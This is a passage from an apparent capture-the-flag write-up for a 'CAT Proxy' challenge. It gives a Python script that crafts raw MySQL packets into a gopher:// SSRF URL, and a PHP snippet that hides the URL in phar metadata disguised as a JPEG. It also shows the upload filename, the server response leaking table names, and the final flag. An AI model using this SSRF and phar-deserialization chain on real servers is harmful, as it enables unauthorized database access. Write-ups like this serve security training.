<span class="n">p_4</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">x</span><span class="p">:</span><span class="n">struct</span><span class="p">.</span><span class="n">pack</span><span class="p">(</span><span class="s">'<L'</span><span class="p">,</span><span class="n">x</span><span class="p">)</span>
<span class="c1"># SSRF MySQL without password
</span><span class="n">username</span> <span class="o">=</span> <span class="s">'cat'</span>
<span class="n">username</span> <span class="o">=</span> <span class="n">username</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)</span>
<span class="c1"># prefix + username(hex) + \x00 + password(\x00) + suffix
</span><span class="n">connect</span> <span class="o">=</span> <span class="s">"85a21e0000000040080000000000000000000000000000000000000000000000"</span>
<span class="n">connect</span> <span class="o">+=</span> <span class="n">username</span>
<span class="n">connect</span> <span class="o">+=</span> <span class="s">'00'</span>
<span class="n">connect</span> <span class="o">+=</span> <span class="s">'00'</span>
<span class="n">connect</span> <span class="o">+=</span> <span class="s">"6d7973716c5f6e61746976655f70617373776f72640061035f6f730964656269616e362e300c5f636c69656e745f6e616d65086c69626d7973716c045f7069640532323334340f5f636c69656e745f76657273696f6e08352e362e362d6d39095f706c6174666f726d067838365f363403666f6f03626172"</span>
<span class="n">connect</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">connect</span><span class="p">)</span><span class="o">/</span><span class="mi">2</span><span class="p">)[</span><span class="mi">2</span><span class="p">:]</span><span class="o">+</span><span class="s">"000001"</span><span class="o">+</span><span class="n">connect</span>
<span class="c1"># \x03 = exec query
</span><span class="n">query</span> <span class="o">=</span> <span class="s">"select * from information_schema.tables where table_schema='cat';"</span>
<span class="n">raw_query</span> <span class="o">=</span> <span class="s">"03"</span>
<span class="n">raw_query</span> <span class="o">+=</span> <span class="n">query</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)</span>
<span class="n">raw_query</span> <span class="o">=</span> <span class="n">p_4</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">query</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">).</span><span class="n">encode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)</span><span class="o">+</span><span class="n">raw_query</span>
<span class="c1"># quit
</span><span class="n">disconnect</span> <span class="o">=</span> <span class="s">'0100000001'</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">raw_encode</span><span class="p">(</span><span class="n">connect</span> <span class="o">+</span> <span class="n">raw_query</span> <span class="o">+</span> <span class="n">disconnect</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"gopher://catproxy_db_1:3306/_"</span><span class="o">+</span><span class="n">data</span>
<span class="s">'''
$ python mysql_raw_connect.py
gopher://catproxy_db_1:3306/_%9d%00%00%01%85%a2%1e%00%00%00%00%40%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%63%61%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%61%03%5f%6f%73%09%64%65%62%69%61%6e%36%2e%30%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%32%33%34%34%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%08%35%2e%36%2e%36%2d%6d%39%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%03%66%6f%6f%03%62%61%72%42%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%20%77%68%65%72%65%20%74%61%62%6c%65%5f%73%63%68%65%6d%61%3d%27%63%61%74%27%3b%01%00%00%00%01
'''</span>
</code></pre></div></div>
<p>I create tar using url containing gopher wapper and mysql raw socket.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$phar</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">PharData</span><span class="p">(</span><span class="s2">"get_tables.tar"</span><span class="p">);</span>
<span class="nv">$phar</span><span class="p">[</span><span class="s2">"AAABshpik"</span><span class="p">]</span> <span class="o">=</span> <span class="s2">"FLAGFLAGFLAG"</span><span class="p">;</span>
<span class="nv">$obj</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Requests</span><span class="p">(</span><span class="s1">'gopher://catproxy_db_1:3306/_%9d%00%00%01%85%a2%1e%00%00%00%00%40%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%63%61%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%61%03%5f%6f%73%09%64%65%62%69%61%6e%36%2e%30%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%32%33%34%34%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%08%35%2e%36%2e%36%2d%6d%39%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%03%66%6f%6f%03%62%61%72%42%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%20%77%68%65%72%65%20%74%61%62%6c%65%5f%73%63%68%65%6d%61%3d%27%63%61%74%27%3b%01%00%00%00%01'</span><span class="p">);</span>
<span class="nv">$phar</span><span class="o">-></span><span class="nf">setMetadata</span><span class="p">(</span><span class="nv">$obj</span><span class="p">);</span>
</code></pre></div></div>
<p>Now, in “AAABshpik”, you should change AAA to “\ xFF \ xD8 \ xFF”, and upload this file to the server.</p>
<p><strong>filename :</strong> phar%3a%2f%2fshpik_tables.jpg</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Date: Wed, 28 Nov 2018 12:08:45 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 2578
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<html>
<head>
<title>CAT Proxy</title>
<link rel=stylesheet href="index.css">
</head>
<body>
<div class="menu">
<div style="text-align: left; padding-left: 50px;font-size: 20px; font-style: bold;">Cat Proxy</div><br>
<a href="?p=home" class="menu_a">Home</a>
<a href="?p=nyaa" class="menu_a">Nyaa</a> <a href="?p=profile" class="menu_a">Profile</a> <a href="?p=logout" class="menu_a">Logout</a> </div><script>alert('Already uploaded file.\nPlease change filename.');history.back();</script></body>
</html><div class="description">J
5.7.24 g ci ? 0VMk7Zh. mysql_native_password N definformation_schematablesTABLES
TABLE_CATALOG
TABLE_CATALOG ? L definformation_schematablesTABLESTABLE_SCHEMATABLE_SCHEMA @ ? H definformation_schematablesTABLES
TABLE_NAME
TABLE_NAME @ ? H definformation_schematablesTABLES
TABLE_TYPE
TABLE_TYPE @ ? @ definformation_schematablesTABLESENGINEENGINE @ ? B definformation_schematablesTABLESVERSIONVERSION? H definformation_schematablesTABLES
ROW_FORMAT
ROW_FORMAT
? H definformation_schematablesTABLES
TABLE_ROWS
TABLE_ROWS? P
definformation_schematablesTABLESAVG_ROW_LENGTHAVG_ROW_LENGTH? J definformation_schematablesTABLESDATA_LENGTHDATA_LENGTH? R definformation_schematablesTABLESMAX_DATA_LENGTHMAX_DATA_LENGTH? L
definformation_schematablesTABLESINDEX_LENGTHINDEX_LENGTH? F definformation_schematablesTABLES DATA_FREE DATA_FREE? P definformation_schematablesTABLESAUTO_INCREMENTAUTO_INCREMENT? J definformation_schematablesTABLESCREATE_TIMECREATE_TIME? J definformation_schematablesTABLESUPDATE_TIMEUPDATE_TIME? H definformation_schematablesTABLES
CHECK_TIME
CHECK_TIME? R definformation_schematablesTABLESTABLE_COLLATIONTABLE_COLLATION ? D definformation_schematablesTABLESCHECKSUMCHECKSUM? P definformation_schematablesTABLESCREATE_OPTIONSCREATE_OPTIONS ? N definformation_schematablesTABLES
TABLE_COMMENT
TABLE_COMMENT ? ? " f defcatflag
BASE TABLEInnoDB10Dynamic0016384000?2018-11-24 03:42:04嬅latin1_swedish_ci? } defcatusers
BASE TABLEInnoDB10Dynamic4239016384000?2018-11-24 03:42:042018-11-28 12:08:36?latin1_swedish_ci? ? " </div>
</code></pre></div></div>
<p>You can see that there are flag and user in cat.</p>
<p>Now you can create a phar file that executes “select * from cat.flag” and upload it to the server to get the flag.</p>
<p><img src="https://raw.githubusercontent.com/SeahunOh/seahunoh.github.io/master/assets/images/cat_proxy4.png" alt="" /></p>
<p><strong>FLAG :</strong> TDCTF{W0W_Do_you_know_SSRF_Shiina_Mashiro_Kawaii}</p>shpikInformation